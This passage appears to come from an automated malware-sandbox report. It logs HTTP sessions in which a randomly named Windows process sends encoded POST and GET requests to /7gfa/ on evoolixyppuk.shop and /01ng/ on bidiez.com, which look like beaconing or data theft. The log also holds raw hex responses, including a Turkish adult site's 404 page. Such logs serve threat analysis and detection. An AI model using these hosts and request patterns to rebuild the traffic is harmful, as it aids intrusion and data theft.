e1 dc 1a ec dc 7f f1 e6 f9 db bf fe 78 08 43 93 f2 5e ad 83 7f 80 13 91 74 3d a3 fc b7 3f 79 bd 5a e7 be ef 77 ee bf a3 22 66 83 f7 be 8f 40 94 c4 6e 1c 5e 53 43 e0 2d 49 34 d8 99 14 bf 46 43 a2 34 35 5d 2f 37 03 ff 89 57 0e 0b 92 d2 ae 87 b8 73 92 50 0f 22 29 0c 15 a6 dc 08 c2 45 c0 44 ca 84 57 c1 84 34 8a 08 cd 89 a1 15 e0 a1 31 99 4f ff 96 b3 71 d7 fb 8b ff c7 a7 fe 73 99 66 c4 b0 fe c2 da 97 87 5d 1a 27 74 65 Data Ascii: 12a6;r7bSK(_+v<\`7z4%cj<iE&)JgUxC^t=?yZw"f@n^SC-I4FC45]/7WsP")EDW41Oqsf]'te
Nov 6, 2024 15:26:01.080746889 CET	1236	IN	Data Raw: 93 31 a3 27 99 54 a6 02 7a c2 62 33 ec c6 74 cc 22 ea db 2f 0d 60 82 19 46 b8 af 23 c2 69 b7 d5 80 94 9c b2 34 4f cb 01 8b b7 d6 31 cc 70 da 3b 22 93 01 81 7e ce 73 41 52 12 4f 2f 01 1e 7f 37 20 f0 34 cd 3a a1 03 a9 75 38 13 23 50 94 77 bd 4c c9 Data Ascii: 1'Tzb3t"/`F#i4O1p;"~sARO/7 4:u8#PwLCbaYHUz(r,\,n6N{\m/<iJu8Y&fA'tk)0v=COMxLz( 4WP/899XJH+S&BaVox-U\|L
Nov 6, 2024 15:26:01.080760002 CET	1236	IN	Data Raw: 75 48 e1 42 65 4a af 75 9a be 63 db 8f 64 1a 44 b1 08 48 9a 65 4a 62 fa 62 0f 67 14 ea 15 e7 ea f5 56 83 c3 97 5f 3c d9 6d b5 0e 16 43 c4 6c 70 25 50 74 42 d2 eb 84 31 1b 3b da 0b 06 c8 9c 7c 6b 2f ff 0c d2 3b 2c 4d 40 ab a8 eb a1 73 6d 5b c1 86 Data Ascii: uHBeJucdDHeJbbgV_<mClp%PtB1;\|k/;,M@sm[z`k<{i=tl"xng[o>m>{@g2 t=g^1#kX(,$U2!c*nTEi6V5{TW7H
Nov 6, 2024 15:26:01.081192970 CET	1236	IN	Data Raw: b3 5c b7 e1 61 b1 c3 f7 57 bf 7e be a0 d6 e1 4d f2 31 51 9c 8c f0 ad b5 99 2f b4 ba 3e 29 0c a1 2f 79 5c 61 c1 b0 8c 09 bb 19 b2 3d 21 59 21 b1 f3 7b b3 ce 3f ea a6 1a 3c d0 2f 11 66 fb 8d 4e 81 9d 61 6b 16 58 9c af 28 9c d0 b0 55 42 64 25 c0 ca Data Ascii: \aW~M1Q/>)/y\a=!Y!{?</fNakX(UBd%zW}\}W@^~^X^q047G^=Zb~6W_3'e_f6\&\g )zY;Dho-vt\Qgo1XJ@6xW1Ds@
Nov 6, 2024 15:26:01.081206083 CET	857	IN	Data Raw: b3 16 96 9d 51 3d 03 c5 2f d7 40 da 84 e9 03 12 66 fb 02 5e 49 26 b3 97 9b d6 43 d3 b8 02 4c af e3 ca 0c 15 d5 78 f9 a0 0d 7b cd e6 35 b8 08 e7 d8 f0 98 a1 2b 75 bf 5d 48 76 e7 1a a1 e3 87 0d 60 bb 94 7e 60 48 82 b7 bf a0 db ed 82 f7 f2 db 9f 9e Data Ascii: Q=/@f^I&CLx{5+u]Hv`~`H>/g(MMWf,Qg,-Z9`8(z\<wELLXD7)Q@fb}qg2=xkgVGC+,c*/{n_'~~h\o6]<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49744	188.114.96.3	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:26:02.668396950 CET	1799	OUT	POST /7gfa/ HTTP/1.1 Host: www.evoolixyppuk.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.evoolixyppuk.shop Referer: http://www.evoolixyppuk.shop/7gfa/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 44 41 58 74 70 7a 75 6c 4b 70 51 69 59 57 35 6d 4a 68 6a 31 72 79 4e 6b 66 7a 6b 42 2b 6a 49 53 73 36 4a 79 76 48 46 6c 43 76 44 31 75 62 33 50 6d 74 6f 76 37 56 6d 2f 2f 73 48 58 49 66 65 4f 6a 64 34 4b 52 5a 58 4d 73 4b 49 62 62 2f 41 49 4e 73 68 74 59 2f 30 44 2b 67 34 73 68 47 52 41 53 6e 79 4c 4e 6f 69 56 2f 51 4e 2b 34 54 62 59 4c 65 30 6a 44 33 63 77 46 38 79 59 4f 65 2f 2b 5a 54 55 34 49 4d 43 58 62 43 79 57 57 56 37 6e 34 4d 70 43 35 70 72 5a 58 46 58 4d 37 64 35 6f 4a 52 30 51 53 49 54 57 63 52 2f 54 62 46 44 41 67 69 4a 65 62 73 56 47 51 4e 44 38 5a 4d 39 52 59 53 55 51 42 6c 62 67 31 42 53 45 4d 67 4c 63 66 65 4d 78 44 63 35 4f 41 4c 78 73 30 36 30 57 67 32 6d 4f 53 51 71 52 46 46 56 46 71 6f 31 32 56 70 62 4e 37 34 5a 7a 74 4f 4f 2b 7a 71 63 74 46 77 46 4c 50 38 79 52 6c 44 5a 48 6d 44 62 61 58 4c 67 30 35 76 78 37 63 70 6b 57 6d 56 31 53 39 4a 73 43 4d 62 65 2f 46 61 71 6c 46 2f 48 63 6d 4f 59 79 6d 67 63 59 49 44 64 43 62 41 65 6c 4d 71 48 6a 51 6e 32 34 67 4d 45 67 78 46 77 [TRUNCATED] Data Ascii: pP=DAXtpzulKpQiYW5mJhj1ryNkfzkB+jISs6JyvHFlCvD1ub3Pmtov7Vm//sHXIfeOjd4KRZXMsKIbb/AINshtY/0D+g4shGRASnyLNoiV/QN+4TbYLe0jD3cwF8yYOe/+ZTU4IMCXbCyWWV7n4MpC5prZXFXM7d5oJR0QSITWcR/TbFDAgiJebsVGQND8ZM9RYSUQBlbg1BSEMgLcfeMxDc5OALxs060Wg2mOSQqRFFVFqo12VpbN74ZztOO+zqctFwFLP8yRlDZHmDbaXLg05vx7cpkWmV1S9JsCMbe/FaqlF/HcmOYymgcYIDdCbAelMqHjQn24gMEgxFwnr4U4cDlCcfAvf4f9+XhfcWj1ghg4oK2AHHHmtc3tiI7TJswROkSJYfUrLWNCepiRFe4AcOogcZUJ9tv0VdwmbWSCT3TewYoM7OOcgrevlcvZDGPzqgkSP85NXgtBBd3RaNkQzUfHjWzdAWY8495fL0zPgz/YfeLil0aOCQa4wgT6AkvVmAu4sgeif/MKR1vAqPuRZuCj4TBZZut5IZJeD54fjouu6TOkvPNhKgnahcfUvBe3OQ/TVhvXg0N9pzcQFkFdclx656jjoKqMq/KiRiuiDmBPIDWL/4eaG2Rp00A1usDMZmT0tDHgtB9HnYwiH7VbLKsU0LGYIzioT1Sko2aU9fCpPHvkk/YfJZ3T0z6Wys5oko0BYhOO8YT67CnBYpeiR97dLvZijgmMCIxSUGG0kCLjcAYaLjRKA/qZLA4QjjmjERow4vd9IY+Uyt/JGOYSNr7WSLIMvRXlrQ5E1D5zpzs27aDtP7NvVJgRg+eic5gpoiMZx0Gu8vv8WQKdnJ+2wuz+Ab9+RJhH5lLbsRYxnj78h7csC1iUe1n32K9ByJFhdXoOzrDaAmcT0bUQiBZrZ2NZ6nLu5xZ3g4gMFzJWEmjLksyZ4zGaEmapEdk8QZWwRTCPgHlyJRBKK324nkyurRKiJph9+/pvE2WmqxopexlvOXHJ2 [TRUNCATED]
Nov 6, 2024 15:26:03.584427118 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 14:26:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.evooli.com/wp-json/>; rel="https://api.w.org/" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LvrCtRMPGS94fsMNYv8ZZ2GmT9%2BPM%2BMdqItACXqpHU%2FFjmI12cpytp376GU9SxJmPFyYieIQDuLMg44CK66I%2Bj3BkrC9dzGPMBP3UnrBKY5j1FuLRBaY2e4ZyIuDljHDQ9hcxmbP%2BR4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8de5c1a1fe313165-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1352&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1799&delivery_rate=0&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 33 65 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 55 db 6e db 46 10 7d ae be 62 bc 05 aa 16 11 45 2b 46 d1 56 16 05 1b b1 73 01 1a d8 a8 dd a6 85 6b 18 43 72 48 ae bd b7 ec 2e 75 b1 ab 6f c9 2f d4 ef 7d ab f3 5f c5 92 91 23 39 35 d4 be b4 2f 24 77 79 66 e6 cc ee 99 99 d1 d6 c1 d1 b3 d3 5f 8e 0f a1 f2 52 8c 3b a3 f0 02 81 aa 4c 98 b7 d1 e9 0f 6c dc 19 6d 45 d1 68 eb 8c 54 ce 8b f3 28 0a 20 c2 bc dd 87 d7 e4 11 4e b1 74 d0 fc 91 61 99 55 68 1d f9 84 d5 be 88 be 65 cb 6d 85 92 12 16 7c d7 58 12 83 4c 2b 4f ca 2f 03 41 bc 0e 2c b5 2e c5 2a 4c 69 6f 51 39 81 9e 56 c0 95 f7 26 a2 b7 35 9f 24 ec e7 e8 c7 fd e8 99 96 06 3d 4f d7 6c 5f 1d 26 94 97 f4 49 90 09 a7 a9 d1 d6 af 40 a7 3c f7 55 92 d3 84 67 14 35 Data Ascii: 3e7UnF}bE+FVskCrH.uo/}_#95/$wyf_R;LlmEhT( NtaUhem\|XL+O/A,.*LioQ9V&5$=Ol_&I@<Ug5
Nov 6, 2024 15:26:03.584453106 CET	771	IN	Data Raw: 8b 1e 70 c5 3d 47 11 b9 0c 05 25 83 1e 48 9c 71 59 cb e5 46 e3 b7 33 f2 dc 0b 1a 9f e0 bc 40 48 6b 51 2b 94 98 df dd 02 7c f3 a2 40 d8 97 66 14 b7 90 ce 48 70 75 05 96 44 c2 8c d5 05 0f 64 2b 4b 45 c2 42 3e 6e 18 c7 a5 34 65 5f db 32 9e 15 2a 1e Data Ascii: p=G%HqYF3@HkQ+\|@fHpuDd+KEB>n4e_2V\j<ji8>tk\x$V\|>$$VqO9(n;#Yn<y'qgg@wt:Dk!8@2^&?2~Mj B?
Nov 6, 2024 15:26:03.584652901 CET	1236	IN	Data Raw: 65 64 66 0d 0a c4 3b db 6e 1b 39 96 cf 12 e0 7f 38 5d 8d b4 e5 6e 57 e9 e2 4b 1c db d2 20 17 4f 36 e8 24 d3 db c9 ee ce 20 08 0c aa 8a 92 18 55 b1 6a 49 96 62 29 e3 e7 fd 89 05 fc 18 ec 5b eb a5 9f fc b4 92 ff 6b 71 48 56 a9 74 b5 b3 ad c1 14 60 Data Ascii: edf;n98]nWK O6$ UjIb)[kqHVt`<<<HwOk.m/<]vvzT!q+<$]KL8UiH! hhWcNMZg5%Ttg/_5:v8?3>*)NVx0
Nov 6, 2024 15:26:03.584808111 CET	212	IN	Data Raw: 4b 53 02 8c 3b 4d e7 59 de f8 9a 49 8c 38 63 9f b4 9b 2b 0b 35 cb 01 bf 9e 01 29 9f 61 81 b7 64 f0 d7 f7 70 ec 1d 7b 35 5b 26 4a 08 87 44 c4 09 15 6a d8 74 50 dc 38 d5 05 d6 06 b9 9a 51 82 8d af 14 8d b4 1a e6 e1 67 40 ff 41 db bf e8 33 c1 3f 52 Data Ascii: KS;MYI8c+5)adp{5[&JDjtP8Qg@A3?RZ:M:Gm--';(b)2%Xvr;!T^Nv/*$s69y'+hH.e'r%S7jnnO-wBtN
Nov 6, 2024 15:26:03.584819078 CET	1236	IN	Data Raw: 46 42 d6 e5 a7 80 d5 58 2a 6c e7 f5 4e d9 12 c2 63 e5 76 b0 3a e9 46 54 4a d2 a5 fb e0 d9 2c a9 1d 5f ad a1 af 71 f8 e0 69 4a 9e a0 2a 15 5c 27 0b f2 21 c8 eb 27 0f 47 6e de aa 3f 82 4e e1 a0 9f aa 54 a6 3c 05 a9 58 c8 46 14 a8 8a 68 1f d8 e4 2b Data Ascii: FBXlNcv:FTJ,_qiJ\'!'Gn?NT<XFh+cl)?\tsS8=*i%^GQ+G35i`,GJYL!m?C!>7r@d tLoB",KYi0}vxOEtH`H16 (vSTMe
Nov 6, 2024 15:26:03.585237026 CET	1151	IN	Data Raw: 07 4f 25 f5 3f 5d 3a b0 97 17 66 88 89 1c 72 df a0 2f 9e 9d 9a eb d3 8a 74 23 c2 49 d7 de b0 e8 2a d2 ad 7e 92 7f 62 41 f3 a5 7b 78 f0 f8 dd c9 c5 9b c3 d7 2f 0a 88 2d d6 16 7c 66 3c 88 3f 7b 18 a0 be c6 8b 4b d0 5c 6e fa fb df e1 c3 c7 33 e8 a4 Data Ascii: O%?]:fr/t#I*~bA{x/-\|f<?{K\n3\}$T_;6 >p^E+{{gyuwaH1ghK-hC+MBA.Tpb^jSNbSrnxr[/H:AF&Z<:,ixu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49745	188.114.96.3	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:26:05.241766930 CET	493	OUT	GET /7gfa/?pP=OC/NqFuXSoQKcxJzIwbC8gc6YWk63HA88JkIsR5MBtbsuoT1qNc3mE+usci2f4e+0fIXV/Px1LgbGc4SbpFIftMOxDoszWQURSPAVqq521dqxxqHUw==&UJO=A6MH4FUp HTTP/1.1 Host: www.evoolixyppuk.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1
Nov 6, 2024 15:26:06.279906988 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 14:26:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.evooli.com/wp-json/>; rel="https://api.w.org/" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PKZln1pWD%2FQxlhDBJM60l7gS797i7x6V8ECjQQkPXRGeco1kaK2Sod9hwVpspHpeAO3SyJ3gPMR7wA%2FJGIvMo%2Frb7Mnbjuu6jBqrf3lDl5VEOXngouZETy0fpnO472MmH%2FzTe0yVIdU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8de5c1b21d32e901-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1393&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=493&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 33 65 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 74 72 2d 54 52 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 4d 65 74 61 20 54 61 67 73 20 2d 2d 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 72 2d 54 52 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 74 72 61 6e 73 6c 61 74 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: 3e1d<!DOCTYPE html><html lang="tr-TR">...<![endif]--><head>... Meta Tags --><meta charset="utf-8"><meta name="language" content="tr-TR" /><meta name="google" content="notranslate" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="
Nov 6, 2024 15:26:06.279956102 CET	1236	IN	Data Raw: 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 0a 3c 74 69 74 6c Data Ascii: viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /><title>Sayfa bulunamad 7Gfa Amp ?Pp=Oc Nqfuxsoqkcxjziwbc8Gc6Ywk63Ha88Jkisr5Mbtbsuot1Qnc3Me+Usci2F4E+0Fixv Px1Lgbgc4Sbpfiftmoxdoszwqurspavqq521Dqxxqhuw==&Amp;Uj
Nov 6, 2024 15:26:06.279968977 CET	1236	IN	Data Raw: 2e 65 76 6f 6f 6c 69 2e 63 6f 6d 2f 23 6c 6f 67 6f 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 76 6f 6f 6c 69 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 39 2f 31 32 2f 6c 6f 67 6f 2e 6a Data Ascii: .evooli.com/#logo","url":"https://www.evooli.com/wp-content/uploads/2019/12/logo.jpg","caption":""},"image":{"@id":"https://www.evooli.com/#logo"}},{"@type":"WebSite","@id":"https://www.evooli.com/#website","url":"https://www.evooli.com/","nam
Nov 6, 2024 15:26:06.280416012 CET	1236	IN	Data Raw: 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 3e 0a 7b 0a 09 22 40 63 6f 6e 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 22 2c 0a 09 22 40 74 79 70 65 22 3a 20 22 57 65 62 53 69 Data Ascii: type="application/ld+json">{"@context": "https://schema.org/","@type": "WebSite","name": "Evooli Porno","url": "https://www.evooli.com/","potentialAction": { "@type": "SearchAction", "target": "https://www.evooli.com/?s={sea
Nov 6, 2024 15:26:06.280430079 CET	1236	IN	Data Raw: 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 27 25 32 30 76 69 65 77 42 6f 78 3d 27 30 25 32 30 30 25 32 30 30 25 32 30 30 27 25 33 45 25 33 43 2f 73 76 67 25 33 45 22 20 74 69 74 6c 65 3d 22 50 Data Ascii: mlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Porno" alt="porno" data-lazy-src="/logo1.png"/><noscript><img src="/logo1.png" title="Porno" alt="porno"/></noscript></a><div id="site-description" cla
Nov 6, 2024 15:26:06.280441999 CET	1236	IN	Data Raw: 73 2f 70 6f 6f 78 6f 2e 65 76 6f 6f 6c 69 2e 63 6f 6d 2f 72 6f 6b 65 74 74 75 62 65 2d 70 2f 22 3e 52 6f 6b 65 74 74 75 62 65 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 37 22 20 63 6c 61 73 73 3d 22 6d 65 Data Ascii: s/pooxo.evooli.com/rokettube-p/">Rokettube</a></li><li id="menu-item-7" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-7"><a href="https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/porno-izle-p/">P
Nov 6, 2024 15:26:06.281203032 CET	1236	IN	Data Raw: 6a 65 63 74 2e 6f 72 67 2f 63 2f 73 2f 70 6f 6f 78 6f 2e 65 76 6f 6f 6c 69 2e 63 6f 6d 2f 66 72 65 65 2d 70 6f 72 6e 2d 70 2f 22 3e 46 72 65 65 20 50 6f 72 6e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 31 Data Ascii: ject.org/c/s/pooxo.evooli.com/free-porn-p/">Free Porn</a></li><li id="menu-item-11" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-11"><a href="https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/lis
Nov 6, 2024 15:26:06.281215906 CET	1236	IN	Data Raw: 6e 74 65 6e 74 3d 22 31 22 3e 3c 2f 73 70 61 6e 3e 20 26 67 74 3b 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 34 30 34 20 63 75 72 72 65 6e 74 2d 69 74 65 6d 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f Data Ascii: ntent="1"></span> > <span class="404 current-item">404</span> </div> </div></div><style> .big-404 { font-size: 120px; line-height: 120px; margin-top: 50px; text-al
Nov 6, 2024 15:26:06.281227112 CET	1236	IN	Data Raw: 6f 74 2d 66 6f 75 6e 64 2d 6d 65 73 73 61 67 65 22 3e c3 9c 7a 67 c3 bc 6e c3 bc 7a 2c 20 61 72 61 64 c4 b1 c4 9f c4 b1 6e c4 b1 7a 20 73 61 79 66 61 20 62 75 6c 75 6e 61 6d 61 64 c4 b1 21 20 3a 28 3c 2f 70 3e 0d 0a 0d 0a 0d 0a 0d 0a 20 20 20 20 Data Ascii: ot-found-message">zgnz, aradnz sayfa bulunamad! :(</p> <p class="return-homes">Ana sayfaya dnmek iin <a href="https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com" class="return-home">tklayn</a></
Nov 6, 2024 15:26:06.281925917 CET	1236	IN	Data Raw: 32 34 32 32 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 34 32 Data Ascii: 2422" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-42422"><a href="https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/dmca-copyright/">DMCA / Copyright</a></li><li id="menu-item-13685" class="menu-it
Nov 6, 2024 15:26:06.284940004 CET	1236	IN	Data Raw: 61 70 c4 b1 79 6f 72 75 7a 2e 20 42 75 20 73 61 79 65 64 65 20 54 c3 bc 72 6b 20 70 6f 72 6e 6f 20 73 65 6b 74 c3 b6 72 c3 bc 6e 65 20 79 65 70 79 65 6e 69 20 62 69 72 20 62 61 6b c4 b1 c5 9f 20 61 c3 a7 c4 b1 73 c4 b1 20 67 65 74 69 72 65 72 65 Data Ascii: apyoruz. Bu sayede Trk porno sektrne yepyeni bir bak as getirerek Trk insannn arzulad fantezili pornolar yaynladmz ve tm sex arzularnz karlayacanz bir yerdesiniz. Kaliteli siki izle

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49746	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:26:12.558417082 CET	741	OUT	POST /01ng/ HTTP/1.1 Host: www.bidiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 191 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.bidiez.com Referer: http://www.bidiez.com/01ng/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 4f 49 69 61 5a 4b 7a 75 36 7a 7a 4f 2f 77 2f 4c 4f 34 34 4c 36 78 4f 47 5a 49 4d 37 6f 72 65 56 46 50 39 52 38 6d 4a 4d 74 51 48 4b 5a 69 66 55 71 4c 4b 6d 4c 64 6e 30 4d 6c 63 66 7a 42 76 38 5a 4b 4d 5a 4f 4f 42 4f 4f 33 49 37 72 52 50 55 62 4c 44 6a 73 55 2f 31 78 72 32 51 52 75 49 67 6f 64 78 4e 50 78 7a 7a 70 56 7a 2f 39 78 6e 31 78 42 63 58 4a 36 43 37 74 71 39 70 6c 4c 71 6b 42 58 49 5a 48 62 56 65 30 6a 79 48 45 67 6e 65 4f 66 65 4f 4c 51 78 62 6d 73 70 6d 62 4a 69 35 2f 79 53 70 47 77 57 42 42 67 37 64 6c 4a 49 4a 59 70 68 74 4c 48 47 48 62 4f 43 41 Data Ascii: pP=OIiaZKzu6zzO/w/LO44L6xOGZIM7oreVFP9R8mJMtQHKZifUqLKmLdn0MlcfzBv8ZKMZOOBOO3I7rRPUbLDjsU/1xr2QRuIgodxNPxzzpVz/9xn1xBcXJ6C7tq9plLqkBXIZHbVe0jyHEgneOfeOLQxbmspmbJi5/ySpGwWBBg7dlJIJYphtLHGHbOCA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49747	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 15:26:15.106415987 CET	765	OUT	POST /01ng/ HTTP/1.1 Host: www.bidiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 215 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.bidiez.com Referer: http://www.bidiez.com/01ng/ User-Agent: Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.94 Safari/535.1 Data Raw: 70 50 3d 4f 49 69 61 5a 4b 7a 75 36 7a 7a 4f 2b 52 50 4c 64 4c 51 4c 34 52 4f 46 57 6f 4d 37 2f 37 65 52 46 50 78 52 38 6e 63 48 73 69 6a 4b 65 44 50 55 70 4a 69 6d 49 64 6e 30 47 46 63 61 75 52 76 42 5a 4b 41 52 4f 4c 70 4f 4f 30 30 37 72 52 66 55 62 34 62 73 74 45 2f 7a 6f 37 32 57 53 65 49 67 6f 64 78 4e 50 78 6e 5a 70 52 6e 2f 39 43 2f 31 78 6a 34 59 44 61 43 38 71 71 39 70 76 72 71 67 42 58 49 37 48 66 4d 4a 30 68 4b 48 45 69 2f 65 50 4b 69 50 43 51 78 52 35 38 6f 2b 4b 5a 47 38 2f 77 66 79 49 6d 4f 59 54 7a 32 2b 69 6f 6f 58 4a 62 6f 32 65 51 47 67 63 70 4c 6f 39 44 50 33 56 61 4f 41 34 66 33 64 46 77 48 54 4d 61 52 64 69 67 3d 3d Data Ascii: pP=OIiaZKzu6zzO+RPLdLQL4ROFWoM7/7eRFPxR8ncHsijKeDPUpJimIdn0GFcauRvBZKAROLpOO007rRfUb4bstE/zo72WSeIgodxNPxnZpRn/9C/1xj4YDaC8qq9pvrqgBXI7HfMJ0hKHEi/ePKiPCQxR58o+KZG8/wfyImOYTz2+iooXJbo2eQGgcpLo9DP3VaOA4f3dFwHTMaRdig==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49748	3.33.130.190	80	4044	C:\Program Files (x86)\UAUsPauzhBCPmnQHRbfJmboKKZfWTdRJclEMcORpTjTnRmzpWZm\vuEbrnedVG.exe

Timestamp	Bytes transferred	Direction	Data
